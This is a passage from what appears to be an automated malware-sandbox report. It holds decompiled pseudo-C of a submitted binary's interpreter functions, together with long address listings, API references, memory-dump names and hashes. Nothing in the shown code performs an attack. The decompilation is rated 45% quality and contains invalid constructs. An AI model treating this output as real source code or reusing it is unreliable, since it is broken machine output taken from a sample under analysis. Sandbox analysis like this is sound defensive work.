								__esi =  *( *(__eax + __ebp));
								__eax = __edi;
								__ecx = 0;
								__eflags = 0;
								__eax = E004019E0(__edi, 0, __edx, __esi);
								goto L43;
							}
						}
						__edi = 3;
						while(1) {
							_t31 = __ebp + 8; // 0x435902
							__eflags = __ebx -  *_t31;
							if(__ebx >=  *_t31) {
								goto L25;
							}
							__esi =  *(__esi + 4);
							__eax =  *(__esi + __edi * 4);
							__eflags =  *(__eax + 8);
							if( *(__eax + 8) != 0) {
								L22:
								__edx =  *(__esi + 4 + __edi * 4);
								__edi = __edi + 1;
								__eflags =  *(__edx + 8) - 0x41;
								if( *(__edx + 8) == 0x41) {
									__edi = __edi + 2;
									__eflags = __edi;
								}
								_t44 = __ebp + 4; // 0x443c48
								 *_t44 =  *((intOrPtr*)( *_t44 + __ebx * 4));
								__esi = __esp + 0x4c;
								E0040BE00(__ebx, __ecx, __edi, __esp + 0x4c, __ebp,  *((intOrPtr*)( *_t44 + __ebx * 4))) =  *(__esp + 0x20);
								__esi =  *(__esp + 0x14);
								__eax =  *(__esp + 0x20) + 1;
								__eflags = __eax -  *(__esp + 0x18);
								 *(__esp + 0x20) = __eax;
								if(__eax <  *(__esp + 0x18)) {
									__ebx = __ebx + 1;
									__edi = __edi + 1;
									__eflags = __edi;
									continue;
								}
								goto L25;
							} else {
								goto L20;
							}
							while(1) {
								L20:
								__eflags =  *__eax - 0x1e;
								if( *__eax != 0x1e) {
									break;
								}
								__eax =  *(__esi + 4 + __edi * 4);
								__edi = __edi + 1;
								__eflags =  *(__eax + 8);
								if( *(__eax + 8) == 0) {
									continue;
								}
								goto L22;
							}
							__ecx =  *(__esp + 0x7c);
							__eax = E0045E62E(__fp0,  *(__esp + 0x7c), 0x91, 0xffffffff);
							goto L31;
						}
						goto L25;
					}
					_t15 = __ebp + 4; // 0x443c48
					_t16 =  *_t15 + 4; // 0x7c8b5756
					__eax =  *_t16;
					__ecx = __esp + 0x24;
					_push(__esp + 0x24);
					__edx = __esp + 0x18;
					_push(__esp + 0x18);
					__ecx = __esp + 0x20;
					_push(__esp + 0x20);
					__edx = __esp + 0x28;
					_push(__esp + 0x28);
					E00453081( *_t16) = E004646A2(__ebx, __edx, __eflags, __esi, __eax);
					__eflags = __al;
					if(__eflags != 0) {
						__ebx = 2;
						goto L15;
					}
					__eax =  *0x4a7cb4; // 0x0
					__eax = __eax & 0x0000003f;
					__eax = E0046E6B0(__eax);
					 *0x4a7cb4 =  *0x4a7cb4 + 1;
					__eflags =  *0x4a7cb4;
					goto L10;
				}
				__eflags = __eax - __ebx;
				if(__eax == __ebx) {
					goto L5;
				}
				goto L10;
			}




                                                                                                                                                                            0x0042fe59
                                                                                                                                                                            0x0042fe59
                                                                                                                                                                            0x0042fe5b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042fe66
                                                                                                                                                                            0x0042fe6e
                                                                                                                                                                            0x0042fe79
                                                                                                                                                                            0x0042fe7b
                                                                                                                                                                            0x0042fe80
                                                                                                                                                                            0x0042fe82
                                                                                                                                                                            0x0042fe84
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042fe86
                                                                                                                                                                            0x0042fe86
                                                                                                                                                                            0x0042fe8c
                                                                                                                                                                            0x0042fe92
                                                                                                                                                                            0x0042ff58
                                                                                                                                                                            0x0042ff5d
                                                                                                                                                                            0x0042ff63
                                                                                                                                                                            0x0042ff67
                                                                                                                                                                            0x0042ff6c
                                                                                                                                                                            0x0042ff70
                                                                                                                                                                            0x0042ff75
                                                                                                                                                                            0x0042ff75
                                                                                                                                                                            0x0042ff79
                                                                                                                                                                            0x00409556
                                                                                                                                                                            0x0040955d
                                                                                                                                                                            0x0040955d
                                                                                                                                                                            0x0042fe98
                                                                                                                                                                            0x0042fe9e
                                                                                                                                                                            0x0042fe9e
                                                                                                                                                                            0x0042fea5
                                                                                                                                                                            0x0042feaa
                                                                                                                                                                            0x0042feac
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042feb2
                                                                                                                                                                            0x0042feb5
                                                                                                                                                                            0x0042feb8
                                                                                                                                                                            0x0042febc
                                                                                                                                                                            0x0042fec1
                                                                                                                                                                            0x0042fec4
                                                                                                                                                                            0x0042fec8
                                                                                                                                                                            0x0042fed2
                                                                                                                                                                            0x0042fed7
                                                                                                                                                                            0x0042feda
                                                                                                                                                                            0x0042feda
                                                                                                                                                                            0x0042fee3
                                                                                                                                                                            0x0042fee9
                                                                                                                                                                            0x0042feee
                                                                                                                                                                            0x0042fef2
                                                                                                                                                                            0x0042fef3
                                                                                                                                                                            0x0042fef7
                                                                                                                                                                            0x0042fef8
                                                                                                                                                                            0x0042fefc
                                                                                                                                                                            0x0042ff00
                                                                                                                                                                            0x0042ff01
                                                                                                                                                                            0x0042ff05
                                                                                                                                                                            0x0042ff08
                                                                                                                                                                            0x0042ff0d
                                                                                                                                                                            0x0042ff0f
                                                                                                                                                                            0x0042ff8d
                                                                                                                                                                            0x0042ff99
                                                                                                                                                                            0x0042ff99
                                                                                                                                                                            0x0042ffa0
                                                                                                                                                                            0x0042ffa5
                                                                                                                                                                            0x0042ffa9
                                                                                                                                                                            0x0042ffae
                                                                                                                                                                            0x0042ffb8
                                                                                                                                                                            0x0042ffba
                                                                                                                                                                            0x0042ffbf
                                                                                                                                                                            0x0042ffbf
                                                                                                                                                                            0x0042ffc2
                                                                                                                                                                            0x0042ffc7
                                                                                                                                                                            0x0042ffc9
                                                                                                                                                                            0x0042ffce
                                                                                                                                                                            0x0042ffd2
                                                                                                                                                                            0x0042ffd7
                                                                                                                                                                            0x0042ffdc
                                                                                                                                                                            0x0042ffde
                                                                                                                                                                            0x0042ffe2
                                                                                                                                                                            0x00430046
                                                                                                                                                                            0x00430046
                                                                                                                                                                            0x0043004c
                                                                                                                                                                            0x00430059
                                                                                                                                                                            0x0043005e
                                                                                                                                                                            0x00430063
                                                                                                                                                                            0x00430074
                                                                                                                                                                            0x00430079
                                                                                                                                                                            0x0043007e
                                                                                                                                                                            0x00430082
                                                                                                                                                                            0x00430245
                                                                                                                                                                            0x00430245
                                                                                                                                                                            0x00430249
                                                                                                                                                                            0x00430254
                                                                                                                                                                            0x0043025e
                                                                                                                                                                            0x00430263
                                                                                                                                                                            0x00430268
                                                                                                                                                                            0x00430268
                                                                                                                                                                            0x0043026c
                                                                                                                                                                            0x00430271
                                                                                                                                                                            0x00430276
                                                                                                                                                                            0x0043027e
                                                                                                                                                                            0x00430283
                                                                                                                                                                            0x00430288
                                                                                                                                                                            0x0043028a
                                                                                                                                                                            0x0043028f
                                                                                                                                                                            0x00430296
                                                                                                                                                                            0x004300b6
                                                                                                                                                                            0x004300b6
                                                                                                                                                                            0x004300bd
                                                                                                                                                                            0x004300bd
                                                                                                                                                                            0x004300c1
                                                                                                                                                                            0x004300c6
                                                                                                                                                                            0x004300ca
                                                                                                                                                                            0x004300cf
                                                                                                                                                                            0x004300cf
                                                                                                                                                                            0x004300d3
                                                                                                                                                                            0x004300d8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004300d8
                                                                                                                                                                            0x004302a1
                                                                                                                                                                            0x004302a6
                                                                                                                                                                            0x004302a8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004302ae
                                                                                                                                                                            0x004302b3
                                                                                                                                                                            0x004302b5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004300b2
                                                                                                                                                                            0x004300b3
                                                                                                                                                                            0x004300b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004300b4
                                                                                                                                                                            0x00430088
                                                                                                                                                                            0x0043008c
                                                                                                                                                                            0x0043008e
                                                                                                                                                                            0x0043008e
                                                                                                                                                                            0x00430091
                                                                                                                                                                            0x00430099
                                                                                                                                                                            0x004300e8
                                                                                                                                                                            0x004300e8
                                                                                                                                                                            0x004300ec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004300f2
                                                                                                                                                                            0x004300f4
                                                                                                                                                                            0x004300f8
                                                                                                                                                                            0x004300fd
                                                                                                                                                                            0x00430100
                                                                                                                                                                            0x00430108
                                                                                                                                                                            0x00430110
                                                                                                                                                                            0x00430118
                                                                                                                                                                            0x00430120
                                                                                                                                                                            0x00430124
                                                                                                                                                                            0x00430127
                                                                                                                                                                            0x0043012c
                                                                                                                                                                            0x00430131
                                                                                                                                                                            0x004301a0
                                                                                                                                                                            0x004301a4
                                                                                                                                                                            0x004301a9
                                                                                                                                                                            0x004301ad
                                                                                                                                                                            0x004301b5
                                                                                                                                                                            0x004301b5
                                                                                                                                                                            0x004301b9
                                                                                                                                                                            0x004301bc
                                                                                                                                                                            0x004301bf
                                                                                                                                                                            0x004301c1
                                                                                                                                                                            0x004301c3
                                                                                                                                                                            0x004301c5
                                                                                                                                                                            0x004301c9
                                                                                                                                                                            0x004301ce
                                                                                                                                                                            0x004301d3
                                                                                                                                                                            0x004301d8
                                                                                                                                                                            0x004301d8
                                                                                                                                                                            0x004301dc
                                                                                                                                                                            0x004301fa
                                                                                                                                                                            0x004301fa
                                                                                                                                                                            0x004301fe
                                                                                                                                                                            0x00430201
                                                                                                                                                                            0x00430205
                                                                                                                                                                            0x0043020a
                                                                                                                                                                            0x0043022e
                                                                                                                                                                            0x00430233
                                                                                                                                                                            0x00430233
                                                                                                                                                                            0x00430237
                                                                                                                                                                            0x00430239
                                                                                                                                                                            0x0043023b
                                                                                                                                                                            0x0043023f
                                                                                                                                                                            0x004300df
                                                                                                                                                                            0x004300df
                                                                                                                                                                            0x004300df
                                                                                                                                                                            0x004300e4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004300e4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043023f
                                                                                                                                                                            0x0043020c
                                                                                                                                                                            0x00430210
                                                                                                                                                                            0x00430214
                                                                                                                                                                            0x00430218
                                                                                                                                                                            0x00430227
                                                                                                                                                                            0x00430227
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430227
                                                                                                                                                                            0x0043021a
                                                                                                                                                                            0x0043021e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430220
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430220
                                                                                                                                                                            0x00430133
                                                                                                                                                                            0x00430137
                                                                                                                                                                            0x0043013b
                                                                                                                                                                            0x0043013f
                                                                                                                                                                            0x0043014a
                                                                                                                                                                            0x0043014a
                                                                                                                                                                            0x0043014b
                                                                                                                                                                            0x0043014f
                                                                                                                                                                            0x00430154
                                                                                                                                                                            0x00430157
                                                                                                                                                                            0x0043015b
                                                                                                                                                                            0x0043015e
                                                                                                                                                                            0x0043015f
                                                                                                                                                                            0x0043015f
                                                                                                                                                                            0x00430163
                                                                                                                                                                            0x00430168
                                                                                                                                                                            0x0043016d
                                                                                                                                                                            0x00430171
                                                                                                                                                                            0x00430176
                                                                                                                                                                            0x00430177
                                                                                                                                                                            0x00430182
                                                                                                                                                                            0x00430187
                                                                                                                                                                            0x0043018c
                                                                                                                                                                            0x00430194
                                                                                                                                                                            0x00430199
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430199
                                                                                                                                                                            0x00430141
                                                                                                                                                                            0x00430145
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430147
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004301e3
                                                                                                                                                                            0x004301e3
                                                                                                                                                                            0x004301e6
                                                                                                                                                                            0x004301e9
                                                                                                                                                                            0x004301ed
                                                                                                                                                                            0x004301ef
                                                                                                                                                                            0x004301f1
                                                                                                                                                                            0x004301f3
                                                                                                                                                                            0x004301f3
                                                                                                                                                                            0x004301f5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004301f5
                                                                                                                                                                            0x004300e8
                                                                                                                                                                            0x0042ffe4
                                                                                                                                                                            0x0042ffed
                                                                                                                                                                            0x0042ffed
                                                                                                                                                                            0x0042ffed
                                                                                                                                                                            0x0042fff0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042fff2
                                                                                                                                                                            0x0042fff5
                                                                                                                                                                            0x0042fff8
                                                                                                                                                                            0x0042fffd
                                                                                                                                                                            0x00430014
                                                                                                                                                                            0x00430014
                                                                                                                                                                            0x00430018
                                                                                                                                                                            0x00430019
                                                                                                                                                                            0x0043001e
                                                                                                                                                                            0x00430020
                                                                                                                                                                            0x00430020
                                                                                                                                                                            0x00430020
                                                                                                                                                                            0x00430023
                                                                                                                                                                            0x00430026
                                                                                                                                                                            0x0043002a
                                                                                                                                                                            0x00430033
                                                                                                                                                                            0x00430037
                                                                                                                                                                            0x0043003b
                                                                                                                                                                            0x0043003c
                                                                                                                                                                            0x00430040
                                                                                                                                                                            0x00430044
                                                                                                                                                                            0x0042ffeb
                                                                                                                                                                            0x0042ffec
                                                                                                                                                                            0x0042ffec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ffec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ffff
                                                                                                                                                                            0x0042ffff
                                                                                                                                                                            0x0042ffff
                                                                                                                                                                            0x00430002
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430008
                                                                                                                                                                            0x0043000c
                                                                                                                                                                            0x0043000d
                                                                                                                                                                            0x00430012
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00430012
                                                                                                                                                                            0x0043009f
                                                                                                                                                                            0x004300ab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004300ab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ffed
                                                                                                                                                                            0x0042ff11
                                                                                                                                                                            0x0042ff14
                                                                                                                                                                            0x0042ff14
                                                                                                                                                                            0x0042ff17
                                                                                                                                                                            0x0042ff1b
                                                                                                                                                                            0x0042ff1c
                                                                                                                                                                            0x0042ff20
                                                                                                                                                                            0x0042ff21
                                                                                                                                                                            0x0042ff25
                                                                                                                                                                            0x0042ff26
                                                                                                                                                                            0x0042ff2a
                                                                                                                                                                            0x0042ff33
                                                                                                                                                                            0x0042ff38
                                                                                                                                                                            0x0042ff3a
                                                                                                                                                                            0x0042ff94
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ff94
                                                                                                                                                                            0x0042ff3c
                                                                                                                                                                            0x0042ff41
                                                                                                                                                                            0x0042ff4d
                                                                                                                                                                            0x0042ff52
                                                                                                                                                                            0x0042ff52
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ff52
                                                                                                                                                                            0x0042ff83
                                                                                                                                                                            0x0042ff85
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                                                                                                            • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: DecrementInterlocked$Sleep
                                                                                                                                                                            • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                                                                                                            • API String ID: 2250217261-3412429629
                                                                                                                                                                            • Opcode ID: 44716e8b58411a22bf5e9706358fea0360974b21f94f58827399e6f3610dcba4
                                                                                                                                                                            • Instruction ID: fdebc272b4285a4f5a9ffd6436d65f3fd211228fadad30942f45df8fc1e0b6b5
                                                                                                                                                                            • Opcode Fuzzy Hash: 44716e8b58411a22bf5e9706358fea0360974b21f94f58827399e6f3610dcba4
                                                                                                                                                                            • Instruction Fuzzy Hash: 3EB1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 45%
                                                                                                                                                                            			E00479C97(void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16) {
				intOrPtr _v8;
				char _v36;
				intOrPtr* _v76;
				intOrPtr* _v80;
				intOrPtr* _v84;
				char _v88;
				char _v100;
				char _v104;
				char _v108;
				char* _v112;
				char* _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				short _v126;
				void* _v128;
				void* _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				short _v156;
				intOrPtr* _v160;
				intOrPtr* _v164;
				char _v168;
				char _v176;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				char _v220;
				intOrPtr _v228;
				intOrPtr _v240;
				intOrPtr _v244;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t76;
				intOrPtr _t90;
				intOrPtr* _t94;
				intOrPtr _t97;
				intOrPtr* _t103;
				intOrPtr _t105;
				intOrPtr* _t107;
				intOrPtr* _t149;
				intOrPtr* _t150;
				intOrPtr* _t151;
				intOrPtr* _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr _t156;
				void* _t169;

				_t169 = __fp0;
				_t156 = _a4;
				_t155 = _a12;
				_t149 = _a8;
				_v136 = 0;
				_v112 = L"_NewEnum";
				_v116 = L"get__NewEnum";
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				_v76 = 0;
				_v132 = 0x20404;
				_v128 = 0;
				_v126 = 0;
				_v124 = 0xc0;
				_v123 = 0;
				_v122 = 0;
				_v121 = 0;
				_v120 = 0;
				_v119 = 0;
				_v118 = 0;
				_v117 = 0x46;
				E004131F0(_t149,  &_v36, 0, 0x20);
				if(_t149 == 0 || _a16 == 0 || _t155 == 0) {
					L32:
					_push(1);
					_push(L"Null Object assignment in FOR..IN loop");
					goto L33;
				} else {
					if(E0043550E(_t155) != 0) {
						L20:
						_t76 =  *_t155;
						__eflags = _t76;
						if(_t76 == 0) {
							goto L32;
						} else {
							__eflags =  *_t76 - 0xd;
							if( *_t76 == 0xd) {
								_t150 =  *((intOrPtr*)(_t76 + 8));
								 *0x482434( &_v108);
								 *0x48242c( &_v112);
								_t151 =  *((intOrPtr*)( *((intOrPtr*)( *_t150 + 0xc))))(_t150, 1,  &_v116,  &_v144);
								__eflags = _t151;
								if(_t151 >= 0) {
									L27:
									__eflags = _v160;
									if(_v160 == 0) {
										L30:
										_v132 = 1;
										E004092C0(_t151, _t155);
										 *((intOrPtr*)(_t155 + 8)) = 1;
										 *_t155 = 0;
										_push( &_v132);
									} else {
										__eflags = _t151 - 1;
										if(_t151 == 1) {
											goto L30;
										} else {
											_push( &_v132);
										}
									}
									E00467626(0, _v8);
									 *0x48242c( &_v136);
									__eflags = 0;
									return 0;
								} else {
									__eflags = _t151 - 1;
									if(_t151 == 1) {
										goto L27;
									} else {
										E004092C0(_t151, _t155);
										_push(1);
										 *((intOrPtr*)(_t155 + 8)) = 1;
										 *_t155 = 0;
										_push(0);
										goto L26;
									}
								}
							} else {
								_push(1);
								_push(L"Incorrect Object type in FOR..IN loop");
								L33:
								_push(0);
								_push(1);
								_push(_t156);
								return E004781AE(_t169);
							}
						}
					} else {
						_t90 =  *_t149;
						if(_t90 == 0 ||  *((intOrPtr*)(_t149 + 8)) != 8) {
							L7:
							_push(1);
							_push(L"Null Object assignment in FOR..IN loop");
							_push(0);
							_push(2);
							_push(_t156);
							return E004781AE(_t169);
						} else {
							_t152 =  *((intOrPtr*)(_t90 + 8));
							if(_t152 != 0) {
								_t94 =  *((intOrPtr*)( *((intOrPtr*)( *_t152 + 0x14))))(_t152, 0x482a60,  &_v112, 1, 0x400,  &_v144);
								__eflags = _t94;
								if(_t94 < 0) {
									L10:
									__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t152 + 0x14))))(_t152, 0x482a60,  &_v140, 1, 0x400,  &_v168);
									if(__eflags < 0) {
										L12:
										_v192 = 0xfffffffc;
									} else {
										__eflags = _v192 - 0xffffffff;
										if(__eflags == 0) {
											goto L12;
										}
									}
								} else {
									__eflags = _v168 - 0xffffffff;
									if(__eflags == 0) {
										goto L10;
									}
								}
								_t97 = E00410F64(0, _t152, __eflags);
								_v188 = _t97;
								_v128 = 0;
								_v136 = _t97;
								 *0x482434( &_v100, 0x10);
								_t151 =  *((intOrPtr*)( *((intOrPtr*)( *_t152 + 0x18))))(_t152, _v196, 0x482a60, 0x800, 3,  &_v140,  &_v104,  &_v88,  &_v124);
								_push(_v228);
								E004137D3(0,  *((intOrPtr*)( *_t152 + 0x18)), _t151, _t155, __eflags);
								__eflags = _t151;
								if(_t151 >= 0) {
									_t103 = _v132;
									__eflags = _t103;
									if(_t103 == 0) {
										goto L32;
									} else {
										_v156 = 0xd;
										_t153 = _t103;
										_t105 =  *((intOrPtr*)( *((intOrPtr*)( *_t103))))(_t103,  &_v220,  &_v148);
										_v240 = _t105;
										 *((intOrPtr*)( *((intOrPtr*)( *_t153 + 8))))(_t153);
										_t107 = _v164;
										_t154 = _t107;
										__eflags = _t107;
										if(_t107 != 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *_t107 + 0x14))))(_t107);
											E00467626(0, _t155,  &_v176);
											 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 8))))(_t154);
											goto L20;
										} else {
											_push(1);
											_push(0);
											_push(0);
											_push(_v244);
											_push(_t156);
											return E004781AE(_t169);
										}
									}
								} else {
									_push(1);
									_push(0);
									__eflags = _t151 - 0x80020009;
									if(_t151 != 0x80020009) {
										L26:
										_push(0);
										_push(_t151);
										_push(_t156);
										return E004781AE(_t169);
									} else {
										_push( &_v124);
										_push(_t151);
										_push(_t156);
										return E004781AE(_t169);
									}
								}
							} else {
								goto L7;
							}
						}
					}
				}
			}





























































                                                                                                                                                                            0x00479c97
                                                                                                                                                                            0x00479c9f
                                                                                                                                                                            0x00479ca9
                                                                                                                                                                            0x00479cb1
                                                                                                                                                                            0x00479cc7
                                                                                                                                                                            0x00479ccb
                                                                                                                                                                            0x00479cd3
                                                                                                                                                                            0x00479cdb
                                                                                                                                                                            0x00479cdf
                                                                                                                                                                            0x00479ce3
                                                                                                                                                                            0x00479ce7
                                                                                                                                                                            0x00479ceb
                                                                                                                                                                            0x00479cf3
                                                                                                                                                                            0x00479cf8
                                                                                                                                                                            0x00479cfd
                                                                                                                                                                            0x00479d02
                                                                                                                                                                            0x00479d06
                                                                                                                                                                            0x00479d0a
                                                                                                                                                                            0x00479d0e
                                                                                                                                                                            0x00479d12
                                                                                                                                                                            0x00479d16
                                                                                                                                                                            0x00479d1a
                                                                                                                                                                            0x00479d1f
                                                                                                                                                                            0x00479d29
                                                                                                                                                                            0x00479fb1
                                                                                                                                                                            0x00479fb1
                                                                                                                                                                            0x00479fb3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479d44
                                                                                                                                                                            0x00479d4c
                                                                                                                                                                            0x00479ee2
                                                                                                                                                                            0x00479ee2
                                                                                                                                                                            0x00479ee4
                                                                                                                                                                            0x00479ee6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479eec
                                                                                                                                                                            0x00479eec
                                                                                                                                                                            0x00479ef0
                                                                                                                                                                            0x00479efe
                                                                                                                                                                            0x00479f06
                                                                                                                                                                            0x00479f11
                                                                                                                                                                            0x00479f2b
                                                                                                                                                                            0x00479f2d
                                                                                                                                                                            0x00479f2f
                                                                                                                                                                            0x00479f5c
                                                                                                                                                                            0x00479f5c
                                                                                                                                                                            0x00479f60
                                                                                                                                                                            0x00479f6e
                                                                                                                                                                            0x00479f73
                                                                                                                                                                            0x00479f78
                                                                                                                                                                            0x00479f81
                                                                                                                                                                            0x00479f88
                                                                                                                                                                            0x00479f8a
                                                                                                                                                                            0x00479f62
                                                                                                                                                                            0x00479f62
                                                                                                                                                                            0x00479f65
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479f67
                                                                                                                                                                            0x00479f6b
                                                                                                                                                                            0x00479f6b
                                                                                                                                                                            0x00479f65
                                                                                                                                                                            0x00479f92
                                                                                                                                                                            0x00479f9c
                                                                                                                                                                            0x00479fa2
                                                                                                                                                                            0x00479fae
                                                                                                                                                                            0x00479f31
                                                                                                                                                                            0x00479f31
                                                                                                                                                                            0x00479f34
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479f36
                                                                                                                                                                            0x00479f36
                                                                                                                                                                            0x00479f3b
                                                                                                                                                                            0x00479f3d
                                                                                                                                                                            0x00479f44
                                                                                                                                                                            0x00479f46
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479f46
                                                                                                                                                                            0x00479f34
                                                                                                                                                                            0x00479ef2
                                                                                                                                                                            0x00479ef2
                                                                                                                                                                            0x00479ef4
                                                                                                                                                                            0x00479fb8
                                                                                                                                                                            0x00479fb8
                                                                                                                                                                            0x00479fb9
                                                                                                                                                                            0x00479fbb
                                                                                                                                                                            0x00479fcb
                                                                                                                                                                            0x00479fcb
                                                                                                                                                                            0x00479ef0
                                                                                                                                                                            0x00479d52
                                                                                                                                                                            0x00479d52
                                                                                                                                                                            0x00479d56
                                                                                                                                                                            0x00479d65
                                                                                                                                                                            0x00479d65
                                                                                                                                                                            0x00479d67
                                                                                                                                                                            0x00479d6c
                                                                                                                                                                            0x00479d6d
                                                                                                                                                                            0x00479d6f
                                                                                                                                                                            0x00479d7f
                                                                                                                                                                            0x00479d5e
                                                                                                                                                                            0x00479d5e
                                                                                                                                                                            0x00479d63
                                                                                                                                                                            0x00479d9e
                                                                                                                                                                            0x00479da0
                                                                                                                                                                            0x00479da2
                                                                                                                                                                            0x00479dab
                                                                                                                                                                            0x00479dc9
                                                                                                                                                                            0x00479dcb
                                                                                                                                                                            0x00479dd4
                                                                                                                                                                            0x00479dd4
                                                                                                                                                                            0x00479dcd
                                                                                                                                                                            0x00479dcd
                                                                                                                                                                            0x00479dd2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479dd2
                                                                                                                                                                            0x00479da4
                                                                                                                                                                            0x00479da4
                                                                                                                                                                            0x00479da9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479da9
                                                                                                                                                                            0x00479dde
                                                                                                                                                                            0x00479deb
                                                                                                                                                                            0x00479def
                                                                                                                                                                            0x00479df3
                                                                                                                                                                            0x00479df7
                                                                                                                                                                            0x00479e2d
                                                                                                                                                                            0x00479e33
                                                                                                                                                                            0x00479e34
                                                                                                                                                                            0x00479e3c
                                                                                                                                                                            0x00479e3e
                                                                                                                                                                            0x00479e6b
                                                                                                                                                                            0x00479e6f
                                                                                                                                                                            0x00479e71
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479e77
                                                                                                                                                                            0x00479e7c
                                                                                                                                                                            0x00479e8d
                                                                                                                                                                            0x00479e92
                                                                                                                                                                            0x00479e9a
                                                                                                                                                                            0x00479e9e
                                                                                                                                                                            0x00479ea0
                                                                                                                                                                            0x00479ea4
                                                                                                                                                                            0x00479ea6
                                                                                                                                                                            0x00479ea8
                                                                                                                                                                            0x00479ecc
                                                                                                                                                                            0x00479ed5
                                                                                                                                                                            0x00479ee0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479eaa
                                                                                                                                                                            0x00479eae
                                                                                                                                                                            0x00479eb0
                                                                                                                                                                            0x00479eb1
                                                                                                                                                                            0x00479eb2
                                                                                                                                                                            0x00479eb3
                                                                                                                                                                            0x00479ec3
                                                                                                                                                                            0x00479ec3
                                                                                                                                                                            0x00479ea8
                                                                                                                                                                            0x00479e40
                                                                                                                                                                            0x00479e40
                                                                                                                                                                            0x00479e42
                                                                                                                                                                            0x00479e43
                                                                                                                                                                            0x00479e49
                                                                                                                                                                            0x00479f47
                                                                                                                                                                            0x00479f47
                                                                                                                                                                            0x00479f48
                                                                                                                                                                            0x00479f49
                                                                                                                                                                            0x00479f59
                                                                                                                                                                            0x00479e4f
